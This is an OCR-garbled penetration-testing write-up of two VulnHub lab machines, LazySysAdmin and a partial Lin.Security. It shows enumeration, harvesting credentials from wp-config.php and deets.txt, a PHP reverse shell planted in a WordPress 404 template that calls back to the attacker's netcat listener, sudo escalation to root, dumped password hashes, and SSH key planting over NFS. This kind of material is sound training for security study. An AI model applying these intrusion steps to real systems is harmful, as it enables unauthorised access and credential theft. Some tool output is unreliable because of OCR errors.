< a8brfIm2L1b24aPZN30sntJKVk4iCDbKxXi7xd6KOh1t+Utrg7dn4o0/QrVv8RRYBSiul8sy7B2+YDMOX7v+
- yqIG8FdA66tFpnMiMvdhYXoLyiod71vTquGuAVKyHcE6Utdb3gCMj00CHhPTKg2S0gPEFOqiyGVUAAACACYWT3X/ |
< J810mevpUQokt4xBBPNiIGkbK9KbZG63vi1NvGmalkzbo3CE8gZOILFA3Y1ryhP6c8PHaQMWcvzMT90TyJ4F0okv1D3Mh4APPZ1SDq
< /QIHQZAjeUrH18ZVHKk5ZYktAE=
| 2048 58:5a:63:69:d0:da:dd:51:cc:cl1:6e:00:£d:7e:61:d0 (RSA)
| ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQDLAkUdp6GejOkmVuGrpPSUUIqYmMsiqjbZ4PFCmji+ozLhgBlWEA+
< XcghVIPWTUmBdU6yZsylputJMi87GBW8s66tCnZU21m+APerAT+euY1lUgi+xoigD+
o gQVWthVvaj2mg8udetCZBJVQbesdsohtadikeOwaAval/sSQjE9AFV73DHu2EuwrP/J
- 3tMOWG7GgWQjO1TFmrLYnDX9unvKc0i3kLgQ9I6JfdSCloc+1BtkOp12hrbgI1YI1AgT+
o E2yl179cdk6PTQ4mgRmIEJgulbWo8mnaEIl77y1Lz7xpxi89/gWjQuS+DMPbbpoJZdRkT1dTr0QaJuP2i0ys8Dh
| 256 61:30:£3:55:1a:0d:de:c8:6a:59:5b:¢c9:9¢c:b4:92:04 (ECDSA)
| ecdsa-sha2-nistp256 AAAAEQVjZHNhLXNoYTItbmldeAyNTYAAAAIbmldeAyNTYAAABBBBCmYC//J
~ tB7vdIO0Q3Czjvzi7caolq+PtbUHYxSk7ay3rM1LSt jxRkpUZPQWpVRAU9kWIhIiYZDMP£8g0SgC2eY=
| 256 1f:65:c0:dd:15:e6:e4:21:f2:¢c1:9b:a3:b6:55:20:45 (ED25519)
| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAIKQXcDdFdhnLjXj6zg0cox1r7UBkTYpaOYdioJt97xdA
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.7 ((Ubuntu))
| _http-generator: Silex v2.2.7
| http-methods:
| _ Supported Methods: OPTIONS GET HEAD POST
| http-robots.txt: 4 disallowed entries
| /old/ /test/ /TR2/ /Backnode_files/
| _http-server-header: Apache/2.4.7 (Ubuntu)
| _http-title: Backnode
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql syn-ack ttl 64 MySQL (unauthorized)
6667/tcp open irc syn-ack ttl 64 InspIRCd
| irc-info:
| server: Admin.local
|  users: 1
|  servers: 1
|  chans: 0
| lusers: 1
| lservers: O
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| source ident: nmap

| source host: 192.168.92.190

|_ error: Closing link: (nmap0192.168.92.190) [Client exited]

MAC Address: 00:0C:29:C2:70:16 (VMware)

Service Info: Hosts: LAZYSYSADMIN, Admin.local; 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

| _clock-skew: mean: -3h19m58s, deviation: 5h46m22s, median: Os

| nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:

LAZYSYSADMIN<OO> Flags: <unique><active>
LAZYSYSADMIN<O3> Flags: <unique><active>
LAZYSYSADMIN<20> Flags: <unique><active>
\x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
WORKGROUP<00> Flags: <group><active>
WORKGROUP<1d> Flags: <unique><active>
WORKGROUP<1e> Flags: <group><active>
Statistics:

|

|

|

|

|

|

|

|

| 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00
| 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00
[_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00

| p2p-conficker:

| Checking for Conficker.C or higher...

|  Check 1 (port 59130/tcp): CLEAN (Couldn't connect)
|  Check 2 (port 20872/tcp): CLEAN (Couldn't connect)
|  Check 3 (port 25346/udp): CLEAN (Failed to receive data)
|  Check 4 (port 16469/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:

| 0S: Windows 6.1 (Samba 4.3.11-Ubuntu)

| Computer name: lazysysadmin

|  NetBIOS computer name: LAZYSYSADMIN\x00

| Domain name: \x00

| FQDN: lazysysadmin

|_ System time: 2019-10-30T04:18:22+10:00

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

| _ message_signing: disabled (dangerous, but default)
| smb2-security-mode:

| 2.02:

| _ Message signing enabled but not required

| smb2-time:

| date: 2019-10-29 11:18:22

| _ start_date: N/A

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Tue Oct 29 11:18:30 2019 -- 1 IP address (1 host up) scanned in 30.69 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:


https://github.com/Tib3rius/AutoRecon

i~ openports

# Port Protocol Service Scans

1. 22/tcp ssh ttl 64 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux protocol 2.0) ./results/192.

.191/scans/tcp_22_ssh_nmap.txt

./results/192.168.92.191/scans/enumélinux. txt

4. 139/tep netbios-ssn ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) ./results/192.168.92.191/scans/smbclient. txt
./results/192.168.92.191/scans/tcp_139_smb_nmap.txt
./results/192.168.92.191/scans/enumélinux. txt

5. 445/tep netbios-ssn  ttl 64 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) ./results/192.168.92.191/scans/smbclient. txt

./results/192 191/scans/tcp_445_smb_nmap.txt

scans/tcp_3306_mysql_nmap.txt

6. 1306/tcp mysql ttl 64 MySQL (unauthorized)
i 6667/tcp irc ttl 64 InspIRCd

Figure 3: writeup.enumeration.steps.2.1

3. Upon visiting the 80/tcp, we find an unknown web application. Inspecting further, we find a few links via
robots.txt file but none of those seem useful.

New Tab X |Backnode X ‘ 192.168.92.191/robots.txt X }+

& = @ @ 192.168.92.191
S links

nOde AntiCare + Something here Blah

Welcome, to iDontCare

Powered by - Your tears

DISCOVER!

Figure 4: writeup.enumeration.steps.3.1



MNew Tab » | Backnode ® | 192.168.92.191/robots.txt X | +

& = (& | @ 192.168.92.191/rcbots.txt
£ links

User-agent: *

Disallow: /Jold/

Disallow: /test/
Disallow: /TR2/

Disallow: /Backnode files/

Figure 5: writeup.enumeration.steps.3.2

4. We also find a wordpress directory from the gobuster scan report. Initial attempts to login via common default
credentials didn’t succeed. Since we already have read access to Wordpress installation via the open SMB share,
we download the wp-config.php file and obtain the hardcoded MySQL credentials within it:

gobuster -u http://192.168.92.191:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
- -e -k -1 -s "200,204,301,302,307,401,403" -x "txt,html,php,asp,aspx,jsp"
smbclient //192.168.92.191/share$
cd wordpress
get wp-config.php

smb: \> cd wordpress
smb: \wordpress\> dir
: ® Tue Oct 29 11:18:53 2019
0 Tue Aug 15 04:05:52 2017
2853 Wed Dec 16 01:58:26 2015
4513 Fri Oct 14 12:39:28 2016
® Wed Aug 2 14:02:02 2017
16200 Thu Apr 6 11:01:42 2017
364 Sat Dec 19 03:20:28 2015
418 Tue Sep 24 17:18:11 2013
3286 Sun May 24 10:26:25 2015
2422 Sun Nov 20 18:46:30 2016
7413 Tue Oct 29 11:18:53 2019
29924 Tue Jan 24 ©3:08:42 2017
® Tue Oct 29 11:18:52 2019
19935 Tue Oct 29 11:18:53 2019

wp-config-sample.php
wp-trackback.php
wp-admin
wp-settings.php
wp-blog-header.php
index.php
wp-cron.php
wp-links-opml.php
readme.html
wp-signup.php
wp-content
license. txt

wp-mail.php 8048 Tue Jan 10 21:13:43 2017
wp-activate.php 6864 Tue Oct 29 11:18:53 2019
.htaccess 35 Tue Aug 15 04:40:13 2017
xmlrpc.php 3065 Wed Aug 31 09:31:29 2016
wp-login.php 34347 Tue Oct 29 11:18:53 2019
wp-load. php 3301 Mon Oct 24 20:15:30 2016

wp-comments-post.php
wp-config.php
wp-includes

1627 Mon Aug 29 05:00:32 2016
3703 Mon Aug 21 02:25:14 2017
0 Wed Aug 2 14:02:03 2017

OEZE=E2EE2EEsEeEIT=E====0=======e==e0==200

3029776 blocks of size 1024. 1452020 blocks available
smb: ‘\wordpress\=
smb: \wordpress\=
smb: Zwordpress\= get wp-config.php
getting file \wordpress\wp-config.php of size 3703 as wp-config.php (401.8 KiloBytes/sec) (average 401.8 KiloBytes/sec)
smb: \wordpress\=

Figure 6: writeup.enumeration.steps.4.1



define{'DB NAME', ‘'wordpress’');:

define('DB_USER', - 'Admin');

define('DB PASSWORD', - 'TogieMYS5QL12345""");

Figure 7: writeup.enumeration.steps.4.2

5. We explore the SMB service and find that there is a user named togie on this system. Other than that, there
is an open (readonly) SMB share and it is also the web root. We find a lot of interesting files within this directory,
particularly the deets.txt file that has a password 12345, possibly for user togie:

enum4linux -a -M -1 -d 192.168.92.191
smbclient //192.168.92.191/share$
http://192.168.92.191/deets . txt

-21-2952042175-1524911573-1237892750-1048 *unknown*\ *unknown* (8)
-21-2952042175-1524911573-1237092750-1049 *unknown*\*unknown* (8)
-21-29520842175-1524911573-12370927560-1058 *unknown*\*unknown* (8}
numerating users using SID 5-1-22-1 and logon username ‘', password ''

-22-1-1800 Unix User\togie- (Local User)
T uninitialized value $user info in pattern match (m//) at ./enum4linux.pl line 932.

No printers returned.

enum4linux complete on Tue Oct 29 11:21:07 2019

Figure 8: writeup.enumeration.steps.5.1



root@kali: -/toolbox/data/writeups/vulnhub.lazysysadminl # smbclient //192.168.92.191/share$
WARNING: The "syslog" option is deprecated

Enter WORKGROUP\root's password:

Try "help" to get a list of possible commands.

smb: \= dir

D 0@ Tue Aug 15 04:85:52 2017
acs D g Mon Aug 14 85:34:47 2017
wordpress D 8 Tue Oct 29 11:18:53 20819
Backnode files D ® Mon Aug 14 05:08:26 2017
wp D 0@ Tue Aug 15 03:51:23 2017
deets.txt N 139 Mon Aug 14 05:28:85 20817
robots.txt N 92 Mon Aug 14 05:36:14 2017
todolist. txt N 79 Mon Aug 14 B85:39:56 2017
apache D e Mon Aug 14 85:35:19 20817
index.html N 36072 Sat Aug 5 22:02:15 2017
info.php N 20 Tue Aug 15 B83:55:19 2817
test D ® Mon Aug 14 05:35:10 2017
old D 8 Mon Aug 14 B85:35:13 2017
3029776 blocks of size 1024. 1454672 blocks available
smb: \=
Figure 9: writeup.enumeration.steps.5.2
New Tab X | Backnode X | 192.168.92.19V/robots.txt X | Web_TR2 X | 192.168.92.191/deets.txt x \i

6 = @ @ 192.168.92.19V/deets.txt
B links

CBF Remembering all these passwords.
Remember to remove this file and update your password after we push out the server.
Password 12345

Figure 10: writeup.enumeration.steps.5.3
Findings
Open Ports
22/tcp | ssh | OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp | http | Apache httpd 2.4.7 ((Ubuntu))
137/udp | netbios-ns | Samba nmbd netbios-ns (workgroup: WORKGROUP)
139/tcp | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp | netbios-ssn | Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp | mysql | MySQL (unauthorized)
6667/tcp | irc | InspIRCd
Files

http://192.168.92.191/robots.txt
http://192.168.92.191/deets . txt
http://192.168.92.191/wordpress

Users



1 ssh: togie
2 wordpress: admin, togie



Phase #2: Exploitation
1. We now ssh as user togie with the password 12345 obtained from deets.txt file and it works:
1 ssh togie@192.168.92.191

root@kali: ~/toolbox/data/writeups/vulnhub.lazysysadminl # ssh togie@192.168.92.191

# Welcome to Web TR1 #
# All connections are monitored and recorded #
# Disconnect IMMEDIATELY if you are not an authorized user! #

togie@192.168.92.191's password:
Welcome to Ubuntu 14.84.5 LTS (GNU/Linux 4.4.8-31-generic 1686)

* Documentation: https://help.ubuntu.com/

System information as of Wed Oct 30 06:41:10 AEST 2019

System load: ©.11 Processes: 188

Usage of /: 46.3% of 2.89GB Users logged in: 2]

Memory usage: 51% IP address for eth®: 192.168.92.191
Swap usage: 0%

Graph this data and manage this system at:
https://landscape.canonical.com/

133 packages can be updated.
0 updates are security updates.

New release '16.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

togie@lLazySysAdmin:~% id
uid=1000(togie) gid=1000(togie) groups=1000(togie),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(1lpadmin),111({sambashare)
togie@LazySysAdmin:~$
togie@LazySysAdmin:~$ uname -a
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 ©1:06:37 UTC 2016 1686 1686 1686 GNU/Linux
togie@LazySysAdmin:~%
togie@LazySysAdmin:~% ifconfig
etho Link encap:Ethernet HWaddr 00:0c:29:c2:70:16
inet addr:192.168.92.191 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe8@::20c:29ff:fec2:7016/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:452802 errors:60 dropped:163 overruns:0 frame:@
TX packets:372928 errors:0 dropped:0 overruns:@ carrier:@
collisions:@ txqueuelen:1000
RX bytes:58198327 (58.1 MB) TX bytes:80717590 (80.7 MB)
Interrupt:19 Base address:0x2000

Figure 11: writeup.exploitation.steps.1.1

2. On the other hand, we successfully used credentials obtained from wp-config.php file to login to Wordpress
since the administrator has reused those credentials:



Youre st glown', you're stil crowin reen Options v Helf

@ Dashboard
WordPress 5.2.4 is available! Please update now

Home

° @ Dashboard

A Posts

0 Meda Welcome to WordPress! © Dismiss
We've assembled some links to get you startec

1N Pag

» c Get Started Next Steps More Actions

' Wiite your first blog post Manage widgets or menus

M Appe e Customize Your Site:
+ Add an About page B3 Turn comments on or off
'

or, change your theme completely B View your site & Learn more about getting started
-
# Tool
At a Glance . Quick Draft N
B Setting:
© Collaps: - A 1Post B 2 comments Title
WordPress 4.8.11 running Twenty Fifteen Update t0 5.2.4

theme,
search Engines Discouraged

Figure 12: writeup.exploitation.steps.2.1

3. To get interactive access, we edit the 404.php template page and add a PHP reverse shell to it. We then start
a local netcat listener and visit a non-existing page to trigger the webshell:

@& web.tTRZ © 65 B + New

WordPress 5.2.4 is available! Please update now.
Posts

Edit Themes

Media
Pages File edited successfully.

Comments
Twenty Fifteen: 404 Template (404.php)

Appearance
PP o T T " "._'.'C._._.'.':__..".'_ rrrrre

R

""" <div class="page-content">
<p=<?php e( 'It looks like nothing was found at this location.

<?php get search form(); 7=
</div><!-- .page-content -->
</section><!-- .error-404 -->

</main><!-- .site-main --=>
=/div=<!-- .content-area --=

<?php

5 & set time limit (8);

SVERSION = "1.8":

$1ip = '192.168.92.198'; // CHANGE THIS
Sport = 443; J/ CHANGE THIS
schunk size = 1488;

$write a = null;

$error_a = null;

¢shell = 'uname -a; w; id; /bin/sh -i';
Sdaemon = 0;

Sdebug = 8;

Figure 13: writeup.exploitation.steps.3.1
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root@kali: ~/toolbox/data/writeups/vulnhub.lazysysadminl # nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.92.190] from (UNKNOWN) [192.168.92.191] 59138
Linux LazySysAdmin 4.4.8-31-generic #58~14.04.1-Ubuntu SMP Wed Jul 13 ©1:06:37 UTC 2016 1686 1686 1686 GNU/Linux
06:13:13 up 1:57, O users, load average: 0.00, D.53, 0.60
USER TIY FROM LOGINGE IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: B: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
% uname -a
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 81:086:37 UTC 2016 1686 1686 1686 GNU/Linux
$
4% ifconfig
etho Link encap:Ethernet HWaddr ©0:0c:29:c2:70:16
inet addr:192.168.92.191 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: feB8::20c:29ff:fec2:7016/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1588 Metric:1
RX packets:445407 errors:58 dropped:159 overruns:@ frame:@
TX packets:368829 errors:® dropped:@ overruns:@ carrier:@
collisions:® txqueuelen:1000
RX bytes:52069828 (52.80 MB) TX bytes:B88329306 (80.3 MB)
Interrupt:19 Base address:0x2000

Figure 14: writeup.exploitation.steps.3.2

Phase #2.5: Post Exploitation

www-data@lazySysAdmin> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-dataCLazySysAdmin>
www-dataClazySysAdmin> uname
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 1686
o 1686 1686 GNU/Linuzx
www-dataClazySysAdmin>
www-dataClLazySysAdmin> ifconfig
ethO Link encap:Ethernet HWaddr 00:0c:29:c2:70:16
inet addr:192.168.92.191 Bcast:192.168.92.255 Mask:255.255.255.0

10

11

12

13

14

15

16

17

18

19

20

inet6 addr: fe80::20c:29ff:fec2:7016/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX
TX

packets:445407 errors:58 dropped:159 overruns:0 frame:0
packets:368829 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX

bytes:52069828 (52.0 MB) TX bytes:80329306 (80.3 MB)

Interrupt:19 Base address:0x2000
www-dataClazySysAdmin>
www-dataClLazySysAdmin> users

root
togie

11



Phase #3: Privilege Escalation

1. We find that the user togie can execute any commands as user root. We use this misconfiguration to elevate
privileges:

1 sudo -1
2 sudo bash

togie@LazySysAdmin: /dev/shm$ sudo -1

[sudo] password for togie:

Matching Defaults entries for togie on LazySysAdmin:
env_reset, mail badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User togie may run the following commands on LazySysAdmin:
(ALL : ALL) ALL
togie@LazySysAdmin: /dev/shm$

Figure 15: writeup.privesc.steps.1.1

togie@LazySysAdmin: /dev/shm$ sudo bash
root@LazySysAdmin:/run/shm# id
uid=0(root) gid=0(root) groups=0(root)
root@LazySysAdmin:/run/shm#
root@LazysysAdmin:/run/shm# uname -a
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 ©1:06:37 UTC 2016 1686 1686 1686 GNU/Linux
root@LazySysAdmin:/run/shm#
root@LazySysAdmin:/run/shm# ifconfig
ethoe Link encap:Ethernet Hwaddr 00:0c:29:c2:70:16
inet addr:192.168.92.191 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: feB@::20c:29ff:fec2:7016/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:447602 errors:58 dropped:159 overruns:0@ frame:@
TX packets:369994 errors:0 dropped:® overruns:@ carrier:@
collisions:®@ txqueuelen:1000
RX bytes:52261756 (52.2 MB) TX bytes:80523130 (80.5 MB)
Interrupt:19 Base address:0x2000

Figure 16: writeup.privesc.steps.1.2

2. We then view the contents of the /root/proof.txt file to complete the challenge:

1 cat /root/proof.txt

12



root@LazySysAdmin: /run/shm# cat /root/proof.txt
WX6Kk7NItABgTk*w5]13&T@*Ga6 ! Po5UPS9hMVEQ#PTO9851
Well done :)

Hope you learn't a few things along the way.
Regards,

Togie Mcdogie

Enjoy some random strings

WX6Kk7NItABgTk*w5]13&T@*Ga6 ! DoSUPS9hMVEQ#PTO9851
2d2v#X6x9%D6 ! DDf4xClds6YdOEjug3otDmc1$#s1LTET7
pf%s&lnRpaj 68ZeVv25t9GkdoDk]j48F1$MI97Zt2nebta2
bh0151e65B6Z0bhZhQ3W64wL65wonnQ$@ywS:Zhyeul9pu
root@LazySysAdmin: /run/shm#

Figure 17: writeup.privesc.steps.2.1
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Loot
Hashes
root:$6
o $04bZf1Ju$0xcLPNyQkVcKTOCajZYBOTz4thlujMRjQ7XuFstUDWwYHKmVmJsDmzGXUwYbUluqr6jxEvX4XJjSUgiwg...........

togie:$6$dv0TOc6x$jpt1MVPeBsV1fkhVX13sv21x2Ls2qle8ouv/JMdREyNpt2nHHahrhOcyT. 8
< PEfVcNQlrAHYFKK2WYdSbxQ............ ... ...,

Credentials

ssh: togie/12...
mysql: Admin/TogieMYSQL12.....
wordpress: admin/TogieMYSQL12.....

References

[+] https://www.vulnhub.com/entry/lazysysadmin-1,205/
[+] https://www.gerrenmurphy.com/vulnhub-lazysysadmin-walkthrough/
[+] https://neilsec.com/ctf/vulnhub-lazysysadmin-1-ctf-attempt /
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[VulnHub] Lin.Security: 1

Date: 10/Oct/2019

Categories: oscp, vulnhub, linux
Tags: exploit_ nfs_rw, exploit_ssh_authorizedkeys, privesc_strace_setuid, privesc_docker group

Overview
This is a writeup for VulnHub VM Lin.Security: 1. Here are stats for this machine from machinescli:

machinescli -t --info "https://www.vulnhub.com/entry/linsecurity-1,244/"

# ID Name Rating Difficulty 0S 0SCPlike  Owned TTPs
1. vulnhub#244 Lin.Security: 1 [ ] &
privesc_strace_setuild
privesc_docker_group
Figure 1: writeup.overview.machinescli
Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:

[VulnHub] Lin.Security: 1

192.168.92. 186
y
‘ Phase #1: Enumeration ‘
L Y. L L Y. Y. Y
37211/tcp‘ ‘39735/tcp‘ ‘53127/tcp‘ ‘57997/tcp| 22/tcp | | 111/tcp |2049/tcp‘

v

open NFS share: /home/peter

Phase #2: Exploitation
mount and cepy id_rsa.pub to .ssh/authorized_keys
ssh peter@l92.168.92.186

Y
| Phase #3: Privilege Escalation |

¥ v ¥
cleartext password for user susan in /home/susan/.secret fi'l.a‘ ‘user peter is member of docker group unsalted hashed password for user insecurity in /etc/passwd

v
| ssh susan@l92.168.92.186 ‘

L Y
‘strace has setuid‘ copy /bin/sh with setuid and root ownership to local directory

¥

] Y
privesc.c - privesc - sudo strace ./privesc | ‘crack using john with rockyou.txt

Yy
root

Figure 2: writeup.overview killchain

TTPs
1. 2049/tcp/nfs_acl/3 (RPC #100227): exploit_ nfs rw, exploit_ssh_authorizedkeys, privesc_strace setuid,

privesc_ docker_group


https://www.vulnhub.com/entry/linsecurity-1,244/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_nfs_rw&unscoped_q=exploit_nfs_rw
https://github.com/7h3rAm/writeups/search?q=exploit_ssh_authorizedkeys&unscoped_q=exploit_ssh_authorizedkeys
https://github.com/7h3rAm/writeups/search?q=privesc_strace_setuid&unscoped_q=privesc_strace_setuid
https://github.com/7h3rAm/writeups/search?q=privesc_docker_group&unscoped_q=privesc_docker_group
https://www.vulnhub.com/entry/linsecurity-1,244/
https://github.com/7h3rAm/machinescli
https://github.com/7h3rAm/writeups#exploit_nfs_rw
https://github.com/7h3rAm/writeups#exploit_ssh_authorizedkeys
https://github.com/7h3rAm/writeups#privesc_strace_setuid
https://github.com/7h3rAm/writeups#privesc_docker_group
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Wed Oct
» ——version-all —olN
s /root/toolboz/writeups/vulnhub. linsecurityl/results/192.168.92.186/scans/_quick_tcp_nmap.tzt
o —0X
s /root/toolboz/writeups/vulnhub. linsecurityl/results/192.168.92.186/scans/xml/_quick_tcp_nmap.zml
o 192.168.92.186
Nmap scan report for 192.168.92.186
Host is up, received arp-response (0.0024s latency).
Scanned at 2019-10-09 19:28:19 PDT for 8s
Not shown: 997 closed ports
Reason: 997 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.6pl Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7a:9b:b9:32:6£:95:77:10:c0:a20:80:35:34:b1:c0:00 (RSA)
| ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQC6I0+zWgbrlygGx4JPZUC/turDfHidMFqf TWv8glTZnpLnY6ZTTdQ8
= /HfSgAtwXSd0vSy6QwzSFxamx+T1VOmdrc8oJrcltmA31M0JwrGvCIQspLPuPDNgG3TwJitEb+HyS+PX0/ |
= hIIxnPz2LD16E4/00VaBH]jA4p7qFKCt4PESNA71RvwMBiQjCucTL08yyOVZ7k2JIOVKIX/ |
~ ebBz20F3tJJHN3wiezMTIi7xAYSaT8XBHjf/3awlUVqASEowf2gd14V8MMEASWMVhcFGt0/DKxdXuiddphI67Z+
< 3HCR3JsHgK13nvhSmgTf5ZHt3HPgoe5XmL6LD jmkUGIdNrBya9
| 256 24:0c:7a:82:78:18:2d:66:46:3b:1a:36:22:06:el:al (ECDSA)
| ecdsa-sha2-nistp256
< AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAATbmlzdHAyNTYAAABBBEGQq7yVBMw51IUPgAkmf4d8s6nVCPvcgXngPgU6tbTbFeFMUy 1
o /ZkM36Q=
| 256 b9:15:59:78:85:78:9e:ab:e6:16:f6:cf:96:2d:1d:36 (ED25519)
| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAICI1+R8URLpkAb92x1+AMcdkp8qCHXphnD8fI+0beoNs/

9 19:28:13 2019 as: mmap —vv —--reason —Pn -sV -sC

111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000)
| rpcinfo:

| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 3 2049/udp nfs

| 100003 3,4 2049/tcp nfs

| 100005 1,2,3 37211/tcp mountd

| 100005 1,2,3 37678/udp mountd

| 100021 1,3,4 39735/tcp nlockmgr
| 100021 1,3,4 43597/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/udp nfs_acl

2049/tcp open nfs_acl syn-ack ttl 64 3 (RPC #100227)
MAC Address: 00:0C:29:07:84:F0 (VMware)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Wed Oct 9 19:28:27 2019 -- 1 IP address (1 host up) scanned in 14.69 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:


https://github.com/Tib3rius/AutoRecon

4~ openports

# Port Protocol  Service Scans

1. 22/tcp ssh ttl 64 OpenSSH 7.6pl Ubuntu 4 (Ubuntu Linux protocol 2.8) ./results/192.168.92.186/sca
/result a

2 111/tcp rpcbinc ttl 64 2-4 (RPC #100000 >

3.

b 37211/tcp mountd ttl 64 1-3 (RPC #100005)

5 39735/tcp nlockmgr ttl 64 1-4 (RPC #100821)

6. 53127/tcp  mountd ttl 64 1-3 (RPC #100005)

7. 57997/tcp mountd ttl 64 1-3 (RPC #100005)

Figure 3: writeup.enumeration.steps.2.1

3. We find that there is an open NFS share for the /home/peter directory on the target system:
showmount -e 192.168.92.186

root@kali: ~/toolbox/data/writeups/vulnhub.linsecurityl # showmount -e 192.168.92.186
Export list for 192.168.92.186:

/home/peter *

root@kali: ~/toolbox/data/writeups/vulnhub.linsecurityl #

Figure 4: writeup.enumeration.steps.3.1

Findings

Open Ports

22/tcp ssh OpenSSH 7.6pl Ubuntu 4 (Ubuntu Linux; protocol 2.0)
111/tcp rpcbind 2-4 (RPC #100000)

2049/tcp nfs_acl 3 (RPC #100227)

I I
I I
| |
37211/tcp | mountd | 1-3 (RPC #100005)
I |
I |
I I

39735/tcp nlockmgr 1-4 (RPC #100021)
53127/tcp mountd 1-3 (RPC #100005)
57997/tcp mountd 1-3 (RPC #100005)
Users

ssh: peter
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Phase #2: Exploitation

1. We mount this share locally and copy our SSH public key to the newly created .ssh directory within mounted
NFS share:

cp ~/.ssh/id_rsa.pub ./authorized_keys

mkdir share

mount 192.168.92.186:/home/peter share/ -o vers=3
useradd -u 1001 peter

su peter

cd share

mkdir .ssh

cp ../authorized_keys .ssh/

root@kali: ~/toolbox/data/writeups/vulnhub.linsecurityl # useradd -u 1081 peter
root@kali: ~/toolbox/data/writeups/vulnhub.linsecurityl #
root@kali: ~/toolbox/data/writeups/vulnhub.linsecurityl # ls -la
total 24
FWxr-xr-x 4 [gdsdd [ghdd 4096 0ct 9 19:36 .
Fwxr-xr-x 21 [gdshd |[gsldy 4096 Oct 9 19:27 ..
FWxr-xr-x 3 [gelshd [@LAd 4096 Oct 9 19:28 results
rwxr-xr-x 5 peter 1805 4096 Jul 1@ 2018 share
-rw-r--r-- 1 [ 6902 Oct 9 19:34 writeup.yml

root@kali: -~/toolbox/data/writeups/vulnhub.linsecurityl #
root@kali: ~/toolbox/data/writeups/vulnhub.linsecurityl #
root@kali: ~/toolbox/data/writeups/vulnhub.linsecurityl #
root@kali: ~/toolbox/data/writeups/vulnhub.linsecurityl # su peter
$

£ 1s -1a

total 24

drwxr-xr-x 4 root root 4096 Oct 9 19:36 .

drwxr-xr-x 21 root root 4096 Oct 9 19:27 ..

drwxr-xr-x 3 root root 4096 Oct 9 19:28 results
drwxr-xr-x 5 peter 1005 4096 Jul 1@ 2018 share
-rw-r--r-- 1 root root 6902 Oct 9 19:34 writeup.yml

$

$

% cd share

$ 1s -la

total 32

drwxr-xr-x 5 peter 1005 4096 Jul 10 2018 .

drwxr-xr-x 4 root root 4096 Oct 9 19:36 ..

-rw-r--r-- 1 peter 1005 220 Jul 9 2018 .bash logout
-rw-r--r-- 1 peter 1005 3771 Jul 9 2818 .bashrc
